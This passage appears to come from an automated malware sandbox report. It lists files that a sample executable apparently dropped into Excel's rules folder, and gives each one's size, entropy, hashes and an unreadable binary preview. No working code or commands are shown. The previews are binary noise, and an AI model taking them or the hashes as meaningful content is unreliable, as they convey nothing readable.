SHA-256:	5502B878E0E819EE0C64E8742179518B7D60F0CE125175B96C9A12303751CA5B
SHA-512:	3E6BDE060A90C6DCA1C062F6CDE4ED6430CF286D1041DB1E1B4EEECE2AEAF02B7832A568FC1FBC01F60C1EF27E868E28A036539ED68C37C779A368658A7D21C1
Malicious:	false
Preview:	<?xml"e...W..Z.-].7.z..%..T...X.4~-..3..z.0q....bh.l...>.v3..=Z.V...m...K..c.3N..b.#.&....JL...He......kY..p.....fb.LM1...o..o.k...CR.l.v..Q.. ..i8W....`...z.O.....AE...W.X.;..r....zb.(.Q.28j......2dom_.".....K.... ..,..E[.b...C..bWP..rS..{:5.-E..T>....u.............nio.60v)..B.V..l..)AUj..H.Wk.j....x#......b..:cC. `R.dc.]il. ..)T.a..u..........Y..S..N)Rb.Tu.m..Y.....mD51...h...u.].(.....<.[...1!...s(}L]..[vG1..6.......>Z.2..d......t...V.44%.S.T.G.V ....v.,d.z...q.q<..b=&.2.(...g^..LC....;.+.NC..m...D.........9..ot...`..I.<.V....-:.V.Wi..%e.#$...;..=<.).<~.y.T......67...&]....-#....7P.u$.........8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.8809049571280365
Encrypted:	false
SSDEEP:	24:IxAV3hUmHqbxqbfpKeTPb9IfEns5g8re3oUHXrvu9wY7SDyiAyvHZrBUYGewCsbD:eUh8bQbpKe7bWcs5gPoU3CVS5vDbRmD
MD5:	5308CABFAE5C2D871D5DEA21F181C702
SHA1:	78E38FB45D05F98CCBF1DFC13D852740845243C1
SHA-256:	1D59C4F980474EDED711BE923E479EE26BB588D22F9331CA5EA150868506D4B6
SHA-512:	B3F248317A3DE5EC23CA6196467EDF398B77A675DB691B23AACB954B3BDA7FAD709208089CC0A49A15259DF96C3792D9205FA4C16DDD8AB0FB1F0FD13637A475
Malicious:	false
Preview:	<?xml5..#..ZA.1.-...y.g@..@V.....%^!.BH.Up..%oo.0..A..d9J.Y.o..M1N9+...=..j9.B{....Z.LG.....j=kM..^...y.......o.....\....0:.....T!...:..d.....Qv\|.........}....?['.......p.....4. U/\<{.\..G"L.{...8.q?..C.......v.......V..>...l]@..6rE.KJ0,..S..F{B1W.&i..i.4.^g..2%....R.O.?%.~.....}Ezm..z....p.E......_6....W....@a4\.A.KZv>;.......\...@...R.7T+..k.&A.2>..4w..m....S}.).....(Y....m._.}..?2$-.ha[...X......;......T.......D..~0.:g.ZlZ.s..j%'..T.Lsw.....\8..-c..ft..Q).0.....D.."h.OZ..'..4e.,..?.++....^...y.(C.F....7b.Tp6.......Tp...G.ii..k..'h...km...>........b...9..../...<..B...c..+\%...j4.. d."...../..0q+....%... ..,.. ..V.W.2.J7<...Df.v.m.u.....z.Op..M...vm..A...Y...ZQ.=..k.h;.],....z+..(.....y.z....b..Qup..;twI.d.......,._L...6.2 h.A....=9......Wo. nY.;.$..B..1.M6.?..O.O....Ce..%=Q..i.?q.#.,V..w..T!..f.X..O..`.'.r.0..2.I.....a.4..y.@J...]..!..@Q.......u......U;....)&)...~..........CIC.a...,..v.Kq.V...9 .. ..nW.c..KT.K......Q..U ......Lc.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.899951062093808
Encrypted:	false
SSDEEP:	48:0A5Y7tWjjv1qflytpeMHpygvxaMRiAIM4Dmd3mD:0A5YJWjz1qf8eexhRZ3+
MD5:	240E8A1DAFB45F3749F51EF03D383788
SHA1:	EABF4B709D711AA6D91073BC72178E30D425AED0
SHA-256:	2849E103ADAB4A192FB6FA523EEDD40AB7641955F43D8E86F7D58EB9269CDC36
SHA-512:	ABBFCA3F1F9408C1EE75779BE820FCB4E65482BC8D50D879FD4F28D517648079CC5AC49A4E1E24EDB1BC0B77F55B5E791727E6AB5AC05FE2D2D2EC65B5A3A287
Malicious:	false
Preview:	<?xml.E/u.P.....X0T....~.f.z.......(..$M:.>L...u3...I..,c\s.1..S..Oe\|.n/. M'.....0.Sx.=z....Y2.h..%.3..^oZ5^p.Gx. x..V...q?,...\..$.(. .....%.$.\z...^...........)...a:..G..K.....Mwb...B......i.6y.J.k..4:.`.e.d...wv.sj)....[.'\.3...s9....M.]?.....bw...^.y.g.......h./Zb.%.....W..T...?U..=..1.h.YNe...(...%..).!..CC..p..:.V..Jwd..r.w..\}....d....k.\|..b.;.2g"K...J$l....f.[t.l+..^4...b.H.T?..cBi/..>.[y.W.`..w.5..C..k......{{c..x].B\..Jz..;F.hiOOY..<.u.0.........o5z..X...e..K?9X.T.[..h...iJ.,..6..9.z...?e..P..8.\>...4.../J...hHF.f%6.VJ...-{T5Y!Z.ej......E......G....`..87.)C.h.4.%7w..R.&... . .........DS..yb........m.G...?Z.Sk.Y.Du_R6"..A.......R..._..H.......`n5.....1YO<..s..i.~=......h..oi.M..j.. ;b..wd..lj.../.G.:..v..gn.Q...g9.~.k..V'}..lE;[.E.3Yg.../.C....T.B.n.E....w.}......8\.3.L..F..K...&j.>AY.....bV&."Yz.2.&..].x5+.LuzF....wH.[..f.b...s`.}.\|....P..T6.A.Gdn..$q.s).<...._.X3...m..Y.4._....uE.....J*.m.g.S...~i....5.D..D..U...!.8P...R..%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8999948575512215
Encrypted:	false
SSDEEP:	48:lEfY+OZRF8o/dV1YeWYmVKhVq7EBRbcgV4cmD:lEfY+KRFr2eW3S+EPBV3+
MD5:	9B30BBB809FD0D10B69F840CE8403636
SHA1:	85898E6589FD3BB9549837E7B39343FB2F19D06D
SHA-256:	CF29928CCBC0670BC34F83A12C111B574925D67FB00FE15031AFE3BD1696ED0C
SHA-512:	642E28A678FBB9E7A2FC384AD858AFC17CB73D1FFBA23A5AC400F085B907FFFF4F6F9AE908571421D1A080943316BA6F29B8D606C0EAC973F3CD2E8FFE844961
Malicious:	false
Preview:	<?xml)..~..+.pL..F....H.S...Bj...{.............aFg....K.. .l....F..a....Pb..~.E......#..Mp.....]..;'c.MsH.c.....&....eu.....3._.W.....b;..q4...m.{.5.R.....<...7...%n..(O21vn<......J...N.b....w.1v...:}..........?... ...e.:...B\|.]a.......Fo..C.-U...i26...Db..9.R......y.u.s...8d.h..F.[...J2....i...+l)9...7.....3...\| /v.x..y...... ..d"!..[..~v.s.MM.O..z...r.....P.L..}...K.9q.i$'d\|.LNm}T.v.>b.cR-8.N..x..P:r#{....;..J0.:.T.zC&.....?...){M:...M......Yys...W#.....O...5.b...q....5.' .......;Y..@"...Y......=X...\u.(..#E,.W..-...h.;..Ud..&7....4\Gdv.\|.._U.q4....h=[....U.....3...y'..p....a.....8....Og..(.P.g.f~9....0a.T..../h.y].f.X_d.}..l..+..9.'.%&..AQz.}...!.n'.%...vb.x..4$......8.>j..K..I-HNb.w...[3q...'/\./.o..A..IC.......FT.y..'.K!..V....2...w....3y...p......9.....).$....<.L}.....nlEE'w.q...V..n..m.g...f.OlDE...\!.wIg.,..s......];.3J<s......5.}z.].SIz5....zJ...\t`"...9.KL.n..ufek..C.k.j...cy5w..8gFk.U.O8V..QUg;4...8....Y.'+..>0...6^\.-...... .Xq.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.787562115642741
Encrypted:	false
SSDEEP:	24:LDJk97sotXqSv2FGJuJXVxM6i6Bq+6C4gwCZnSYjtosbD:LDqApjGyVxM6nwcwOomD
MD5:	B0726A49B4DA9E75E88378E7B328154E
SHA1:	D141184B7EAA108499427498A808D3B9F4228802
SHA-256:	C27F5820208D513288AA8B9155ED44EBC70F4BC68E0E233A01F256DC22FAF8FB
SHA-512:	C2C845FBE18000D5CB2D257D8A0D479D3D634FA15509FAA73BAB55A0387F6E6F5DE52890DD192262FD59F3191C10081B78DA7316B71ADF6B893494416AECE365
Malicious:	false
Preview:	<?xml~r].}2..."...4.._=.\.(....>.Y..m..cv....L.d..~..\d..qD.t.:.dtp.50z.s..c2_..{..........8....;....R.K.P..c.!@rJ....D..,.V+...!.....z..U.....W..kG...\|...C...}d........N...,.Q.R.;...C^]..:b...-.yIx1p.R.,?...K...9...wo.. .5...\|....&l.....!.c(F...../.u.q,r.P1.,x..pQ.U.\|7.........O.E..d.7..g.[....T..^....Pm..........`........Iv.o..`..#..g....o.Z88......Lc=. ..."$....{z.._t..)+.....,.g..M....,GL......R.b}!-....O...".....bq.x.0a...H2 ".^N.pF.p./$.a..;G.~...r..5^wz........1n..I...5kceU.....\|8c.....'..i7......^aQ...jb..@...e.p..aH9#K....{.+..;G...9Z.+b....`.f+.a....../....l..LK^.....P..G...O...3.~>J.....e......~..n.x..@...b.a.$.1g.......7.G.w.+.C}&]^h...XY.pO...I..swC.{.$7.~Q....3H.b..`7...1..Mm..).<.....>..S....SQG.I....:`...[ku.'...A.../%5.S.............1o.F.........>z...xf..ju..s.^.9.......q.4j....y>.U.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.7715111654740525
Encrypted:	false
SSDEEP:	24:41AJL+Qz+k6zrAJZfrfXcJZP9hYeBe74TsbD:sAN+Qik6faRfXGHYgmD
MD5:	C0C4D43260C80A4795CF205C8790F757
SHA1:	1ABB9340596C7BAACABA3C2EAB512D9FDE741CF3
SHA-256:	30175B6A8CFC37498B156AF09C2488A9A24E00EFF900DF0552AEDE23BD312642
SHA-512:	E97881C47C28BADB839D79AAF9101EA0C76F0FBFE8CFA04F4A58E8BDCFEABAA999C485131A080E857442C84531E875B9CFF19E3CDBDE12CD5A18ADD6E6285F83
Malicious:	false
Preview:	<?xml.Sm,..!M..7...s7..-........>....}..?8./tv...4..C......P.o...oI...........b`..'J8.R...}..1.z6..q...]..%g.v..Q.j.[b....... ..x..]'...i.o@.cP.l..P...\-.......;'.......f`..o...{%$.[!.H.."{R("7...c..T.}aZ...........H5J..u.S....'p..v...n.L....B.,.....-.....+.<.........MU<.fR...".=.8....H.{.-.)...........t..C..nd..5.L..`h...Z.._.pQ4...;..t<6.z......!"3.v5..y.^..T.e...l.;h}.\|B/M.X...=.}..`a.....m....8..,...=...LOr].\|I......?..W'.1..q.>O..tn..-b\...)x.$e.3.E;...!...].C?......5%.......PM....T.%....f....8.(rYQ&.......X.....!'.....h....;.)e.8.J...mq`.>.{/.{K.,.....c\r.o.....j..u.\|....B\x.%..M[..A.?.c;.u.[eL...\|....v..7._.?....e...\|q.R..6..(_......c....4.j8s.e>.rI=<F...'t.7.T.k...X...}h...da..........P.......mi..0W.gp...f5...W.W...D..`.>z6'......c.M.NT....x.....nc.x`.U.....-X...O..q... .k]LU..3..~s..g.&....i8..c7."..dH_?..=;I(.....ydh.#.E]..+..}..=z.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.906541157102711
Encrypted:	false
SSDEEP:	48:r6QEJKYGL5McUY46RTrUpBB1MIpTo91e0ahmD:eQEJhGLa3oTeB1MmUK0ah+
MD5:	9EE8E2EB1A7A4A2069CB1E8FD1F3B02B
SHA1:	74B5839A60A769CC950F1A575834DEBABE397232
SHA-256:	B5F1CDE19950DFB5C7E38A285DB35B1C0F442F5591A648CA863FF0F9B2F34745
SHA-512:	4E49A521D5BB11C6996583BDFE5132B140358BB918521673A5B2896AA33586C315A73850DBF132C5DB644F4A48FE25F9E8B4DB5F31311EBC0F990812408844E9
Malicious:	false
Preview:	<?xml.[.5.B..Kc....Nb....a..v.F...D[g.R]..~.zN>D..E..KPMSp...y#!...A..Q..R.i..~......"....i..z..K....X..q....'.[.5..w..K..=...y...............i.......N..X..H..t...z.../..........Q...OC..~/.~...hM-.4..^3.d0.g......g;-c..J+..X 'vvE.%....JlF.......7........o......z...P.{.....T...$...J....:.h....A.x.J+.Lx=.....c/....=....$[).T../O...s<n.D..a.R..-..F.[.!.."9<.6.n.....0.;`r./...".S....G...$...l...p..l....7.. ^.wI..M?g z..].../M......'..^.v.Y:.{....X....]...Iy.,.`..$.f....@h{..A._!6....I8.xy..(..<X.UW(p..U..\|..4.D._..p......L...<$.\..\|./_Y..Bo\|LJ....M..'.@P.e.:aAd._..T\|~.......s....6.Y...N-....._Q..e...B..A\.C../...(+..'b.1r.....sF]m.V...r9..F./?..t.V.f(6.........F..H....~..c.wYEqC.+.....}U.#....%$....Q\|b...w2..r.S.;....=..)O..sl8';\..W.{..\|n....j....F.......(..t+.x....$.3....-...q..2.hP.zvRZ.E......3.N..5.3-.F#.s...+..`...@.k.$.M2..zM.....;7.0=...I.u....[o.q=....n..K".c*.(.C@..i.....g....R..o.....U...:..+.Y...p..sbU..VnI..[...i....eI..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.886172168720919
Encrypted:	false
SSDEEP:	48:fVUKAJ7nRsKaEDAHOJh84IEKWis1dH1hf8bbQrmD:jiOmq684IEKWisbH/fMU+
MD5:	A860F17E0F46096892E0D9B5502200CE
SHA1:	71A9BB73B2053249FF5BBF499A02644815B31DCE
SHA-256:	5CF395E7E488AE87E9FCD6A83686378A7105B3FA1DCF03CBD904AB0ED81B59AF
SHA-512:	F6578FE00E35B6DE533EB5B4B2D4AF83D2F5806319B87CF64586DF49D03AD6A1AFAB8BD8CF9156879EEAD64DAD14E84FDFA2E11269FBBA7581386665A107CA2A
Malicious:	false
Preview:	<?xml...,.......e......5....c[..^. n....Ft.b.'[.8K?..u...{..!:L...^..-Xf...@.+k....$..X....... ..W.g.v.'q.o.U..K.!:M.m.b.../..L....jJ....P.zf{.2E..j0.#....+.Zh\3..y.5...Ei....x.#.~Dq...+.jHwX-..V.>nQ....Gi.rJ.8g..........d...U.]q@.....De....MM.l.U .S.N.S...^.C.A.M.).2."".......e..f=.O...\.4o(r...~..zY!....t.........~.1"j.....u..@..J.>g.g:~.c.V.n...t..<J...8..w.....j}.<....c...8H!.L.p=.`g#......K.Ed.SA..."h...Y.%...o.4.\|!.....j..E..Zb..,. .Y....O..s#C......_;..-..fG....`...f.:..`.......2..6.\|.tj..(.D1.4.wtVN...G..d........c.k.&o..4..v:.j...00....W....8.,&...N... ......6...l.n.v.g.G..Q=..l.5.[Z..&..T2..bU..pArIr...$P.9..#......1F"R._H.........?.&N_q...2..B..k...IAQ.iV:Z...v......o.......F.C..{.3&...y.....e..O.M...5....<...&..a..'.~.~..].>...j.P.f.. .,2....f.M...E....(.*..nf{...]._X.s.......bp...I.R%/q.....\|z.,.....M,Ck...D=d;.....{..y..p.".J..>u;q..5...M.:.'C.".w..x)..=k....t.Ur....... ....Lc=.^.x.\|\|.0.!n.R..o.?6.G.....%..i.#...[....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.755364667075723
Encrypted:	false
SSDEEP:	24:dLmQL12si7yh5Wg6t3qZkuiwg90RShghhP1Z2rOEM7ATT4sbD:dKQL129+hMg6sXyCRShghMiS4mD
MD5:	C033F5234191D452CC39A98393FCFF2F
SHA1:	7CCC4D04CDAA5E62431C10583F49EE2499539F82
SHA-256:	C554870E5BF931FF49C12DE2A02C4FEDC5F75746E4F6C85B50CA0C1F91A8A7BA
SHA-512:	3CF10B05520425DCEAA45D6C8224A2432AE6ABB73091BFFB58DF019484DB87EBFB96DC7FD2691CE5121B22DF109ED71E19F14506CC8E9308400E70DC0304A913
Malicious:	false
Preview:	<?xml.%<qEX...{8_.......[1S Y...[x...(..,. ..3!...m0\|;....8..\.b1...v..itq....xdWqF..].k..7..P.W..\X.p.........J.\........P.?i...dM.s'^\|0.k..TSNrV.....~.ZPn...Y./D.........{1..m........Q....S.H..P.....o.47..c..v.D(v..N5.&........lBP.....Qu.F..h...A.w,....S..3...F2r[..[....g....6.<....~.R..+..N.=j..\.4....H...V.k..sF."A.......?.>P...:.\.#...7..h....%-...s....Jp...V....z..S..I.%k...y'...6.A.^......M..\..d.I.pp.S.0.......:..CK)....?E..j.B.S..L)q..^... .D0.#^...g.2...E.3?0.A7............A.....}.t0.j..R.dEV.....^..1;5..H.....a....9ET.V.=.}g.......B.q..r...wER.\|....{V...[.EF....@\..f..."z`...#q.F..).9..../..s[\|W.>...o...>..a..;k.}E).S......v[....kn.S.0tU.Y:VP..a.<%K.:...y.0..`..pC.U..4.7.X..Y^F.%.D....#..u.........E...C.#.^.D$mr.~......0."...'$v.R..#..8....2.u.q.%..\..kp$+..*.+.z.@..N.%8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.771002478574282
Encrypted:	false
SSDEEP:	24:PooBFu4HDdRmt8M9IKBejvbsLE6wwWN3thJqFsbD:QoB1H/mtO42v4NQth6mD
MD5:	A23215B0AC47F3EA3F3A1A75B3FA056C
SHA1:	DE2D5CA64A811EDF4F31783DFB502488BD11EE25
SHA-256:	174EDEB0D9D3BD6E358243B50145B5A8665A15AFE671041043DCAC48EAB43572
SHA-512:	BB46F02E3843C29407A89523FD719C7931441FD9F354AC525F56D54B327F3D43B077F8D67654BD9C27CFA494C6FD9CE1AED38C38304BFD230668184DD603D1D7
Malicious:	false
Preview:	<?xmlbH~.....r>u..W#Xy.G._......rS...\J.~......5.....R.......k... .V.G.B...W.NxhcKJ.aZ...JG.9...L.\|...G....F..#.b{p..=......H....)..5... (.2PUV..g.R..z0Y.e.. .x..>.=q..F.^n\7.}\|.=.<....$Li............X.......Y.:+.......H.......#.7.S....%.O.S{K...u..b..:.....d./...f(..7..:]......8....y.D~.x.x.H.3.w..Ke....M.}..v..b.......0..%=h...QM...I[5...cq.A.{._.......5..N.v......my.U1.j9..N......n..k(..EZ.A=H....96............Xq...Hf....Al.;8....F..9&n....?9\...F...8..i.........d..7..P6....[.Y.O..7WP.-..wX.'f.....5.Bq."...N.=n^nC.@...\.....%....T:.....`...a.5C.o......W..N.w....Y...x..AMKn.I....HW..BK.dY]..r:QoO.....E..\|(...@....O...<..e..N.B.5..9m.X.NXeN_^..o...jig.{/..CxS.~hgZ....~3.....qk._ag/.Ht.....{+..... .`<.g....u..i?.....$..............nm%...].el.&J...._.(~.*q8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.777496493625744
Encrypted:	false
SSDEEP:	24:WjKQPvNZrzYwTxR5nCIWwGsnqY8ikhUznGjB0V0mEXnERvVLxsbD:ZQPVZrzDT753GMqYcgnG9I05ERv5xmD
MD5:	3CD0376D856A8D50CC53009B0ED2EB7C
SHA1:	7C6EC432E24518452EAA20FCFB707AA649DF28D7
SHA-256:	53BD6F794BCB236F03FE3AFBF24A9D8EB2738B1BA9285AA70144C6FFA2EA1450
SHA-512:	E8E5F4D87A42B5C7B55970A485E153664164B44CC5FB4CDA2A5DAD14C2F6508E653E989EEF2331209CC0F8A4E8027542D85001D196A550C058E2E1BAB43485EA
Malicious:	false
Preview:	<?xml..0sF.ourA.2.{(.yPh.PYu.K.tw..d.SL..cIo]..<[9..W.8..z..(.\|.cI...B...J..4\...#;...Ph?&.....\|k......<\.....kh\|#.&......p.B.\^\..x.K.U.I7...v.h........U.T..._,.h.C.N.?.[...c.?b..Z.u...Y..E=..\|M.-../...D..E...;3..O..9..#..28lc....O$y.8j....<....;,...D.k.....-v.~....m..`5$.}:.D>......_o5q..b\.y{..^.-yo'.QHy..8.XnZ..+. .....P.O.-`C.......@T=&....w.k..C.... .".c..6.x].:....... ..b.4.^`z....h......y..j.EK.v.^...b`.c..0jb.n.......p~..=.Hu.......C..}.g..z..f.$.......3H.G.e...+,B`D..0....]^lX.0.n.......(\S!..A..m......m.X5.D.....m...C.[...k.R$<."PS............^..l.V:%:.9.F..\.&;CLT..w.D.z9.w..t.Zw.QR.....%R2.h<>P...P.~.2..X\|.O:h.vX...)@..2g...H[M..LA..E..(...+....".H.../.b.0x.8..C...K}xU......(.3..{.R.......=.$...5...D.......c=.suz/.@?-..z...'.x...}`.v...#.@....,~..U...w.M.K.....x-...GIK.<%1S8.(...#. ..ZU}.....u.Q.$.5....l......y..("..I....V[....`..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.69106960465134
Encrypted:	false
SSDEEP:	12:SQcmcjNzc1dLycXmBWXSSL3NprL2Agb0y3xg+sGjK57crxj5PSCH+UQscii9a:SJmEzGducXwu37rL2ATy39sGjX2JsbD
MD5:	226F1D715B52E85CAB3C66591079A35D
SHA1:	9AFCC5CB3654099751028846ACBA7E048472DA05
SHA-256:	D125B36DEF739927C967DBCDF7E898F21543FE86463B525C6652BE52974B0F0E
SHA-512:	9A4A9377E3E776E741756F9FA592B6CAF3A9EC83837548C0E757FBE6EC1DDCB19167D87953081026E9B354A622C9F38FE2CEDBB759495E92FFA1E7735F36F1B1
Malicious:	false
Preview:	<?xml$..:.).U{..nY....t......\|T!..q.1.....wZX..p.K.J?&.^.3...s.....t.._.E.vy.....t..;......"./..:-..u..7^<.-..6.t....Ww......S.T...l...2!.QN.hb\`....8......_.@..6..........mMW/1.Ao.@...:h)..RrHF}...h.."..C.?.m..K.&...j.L.p...<....)j>A.<.r./e..G.....~3i.....&.....H53.+j...&.<..^7..LC"..R...&..\|.. ..#8.n.....t.N...Q..zr...A,....Y..`.....m..e<.0.-..(_..Od..p..u.} .......7..\|.3.\|4..k....d..M..4OAj?...1...Jv.\..y......[.{....NH...?Y\|...v!..(..f!.........*F.`".$..3.:.-T...+..T.tL.......s...Z.....Xg.......k.g4e..`q2.J.V&..p..a4z..>=..=B5..-..1~9...+g..V.r..D.F..).#S..1@."....d..c........Eu......}....s..n,>X8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.775546712676005
Encrypted:	false
SSDEEP:	12:vgP7Lg3h+wf5+H4sC88N2FWKut0tt1TfxApwvHjbNmPc2pcPmyZuLVbA7OEuuY0b:2g3k+sI81FW+1+oDUf3LVeO3yJIv3sbD
MD5:	4E2CE090AA7ED464ACDFD39E9A981421
SHA1:	1168930247FE537C67B5E39A2DE80D8D8E255B5F
SHA-256:	3E858AA81AEE599A00E2F864A1F8F24DCDCAA94CB6D6DBD8D250AB2D9D30A833
SHA-512:	F90ED006BEF5DDE0422FE0F1CB2226234D6D54E17DCDA09778BCEE249DB23142DADDF9204184A5F7EA50C8CC312154B59F7BD49F450B13A1D803EC609DF25134
Malicious:	false
Preview:	<?xml.7.c...+P.Vi\|!......!...5T.a;..:-...k.2....d&....9..w\|...".=...`..V{.S...8e.........=[.....(...F:..Q........&..S.S...[K..s.........R.Xya.")..D...N)....8;.a....sA4c.!#.(.Q.a5Q.c.....g...A...........kL,...<...uJ.....p.....2.g..I...D..R..[H...Xj.....~....w...),.4...2)....y.J...uiX\|i.`.7.n.X#, ..K.T.....y..p..\|.tN..ZO9x.p5.....]...c.2..T.7.w ....xg..+$.4l..,Z..'..(........... .@..OF.x]..C.ir....1B=....A......c...$-@.....'....&.?..C.....t....@5.;........'.M.,K.KF....v..n..o....I... .:...M....m7.......2....S....2....8....P..xI....B.....;.Q.>...SN.....7...y!.E...A..p....$?...'F.e~...?._...8.e.j..'J.T.=..".QJ.nA...gF.C...s.....\|.p0..#h.e..1.*.R.%..n.r3..d./.HQ..Z......]..2..p.G....m...:.J.)A_.Nh.?r.[...K.KRF..E...7l...7C...;..s...h...8.vI..j........DZ...n.E.OY..k..2.M.......k.t=.K.W.!.9...T.j.......)U^A5.d3;H..4Sr....9...B.h...h...7..... ./.5..... ].y.y. ..Kb.<.=.!TZ........v y!t.!.^.IG.4T ._.>...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.823636904655187
Encrypted:	false
SSDEEP:	24:6xGBOtmtqAFWCV1ybQPbWFySfJjjXq9up2kBy/BmNKGH4ysbD:wqq+qFyWxjX6uUkByopmD
MD5:	A9BB9D301D0DBD7F902580031EABDD02
SHA1:	B1A7313D8E130981C2A317E13233121D8E86224F
SHA-256:	2798C29590C0F8CA9165E76DE36DA58E4398FD1075A6E8773758441F9B2DFE54
SHA-512:	94B265858546F5DCD386AEE1CCDC9CC264EF147F9817DA00F1E8DA9F908065A35AEE6443A455C6A768CED8A1D0CE844B0E5A581E182A65EBD7456ECB6DBC9059
Malicious:	false
Preview:	<?xml.N+6Lm....4...n...U.~^M...\|.h0v..J...\|....5.fM.L....\..8..3.~.l..'.<....j.kk..K4C\.aV....Ie...u.Cwl.......m....jm......`.L....k......(.Ri.qbj.f....q.1G[U8..9.h.A.]..Lb`.x.#,U.u...s. _..".@......,E.$...e..\|..J.M.. ..&.?e..B...<....Y..cp..JX.NB...]S.o..'?P.'T.....'...eQ.........A......$'..[o.. .\.....^15.....-...O.._... Z.7g.....+.`...y.k..T._9..........j...O.5......zN[P%N..m...@.u$....s.w7..........li.J.9S^..4B'!....S..v!.9..4..-..,t..:L,.L..<i.x..9...p..R3...&..`....ho.$..?....N.uxH....iu..4.a...k.n[.]..R..(z...+\|0.....~.8..;L".Ux.v7.....VUx....B.x.:.}2....4<8...,......i...\...S x...%...l.kW..M....c-.>..\|Q.#..j.p%Ml..S........86D.~...$....>...{...A5.. ..O6./...:\|0g.5.G.'>..'.9...[T....%r:K%...sn4q....8:(..?...k.@...h..!.-f.......W]..e.U.."..\.5;'.B... ?.k..2..jV.A.R..m...o.z.Z_.t.k`.w."......t..y...w#.5.'.)b7..[...0z.]c#..}tf. T......^'..{....&.d..(.1.+..d.E....R..Ee(".fQ.-.D..L....K..xD.Z.ih......vj[.t....LspQL.?+..1i...f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.865072257897808
Encrypted:	false
SSDEEP:	24:f08DbRUA+PGj0Nxck0/0I+7D4f3U+eb3Ip0nGEOhuS+Hd4+UkqvsbD:M8DNU0jWxcp/kME+eJG3gHd4fHmD
MD5:	AEF4FBB078964493C1E16D1442CE47AD
SHA1:	0AC6AD039CA9F22D82DE9EBD73DA2002C6D39EA2
SHA-256:	B1FC9601BCA3E07D4431568C5C9ECBE91AA719B65BE3C0EB62806F78FED578B7
SHA-512:	5F9CE4609B5ADBC9D33579CF88DE3A2E593D8ADBC7BCB42F3D726C8E68BDF0619B8B3FC6B0333B46863984D662CF9EC92AAD01AEA46DE3D25D2A58CE56843F77
Malicious:	false
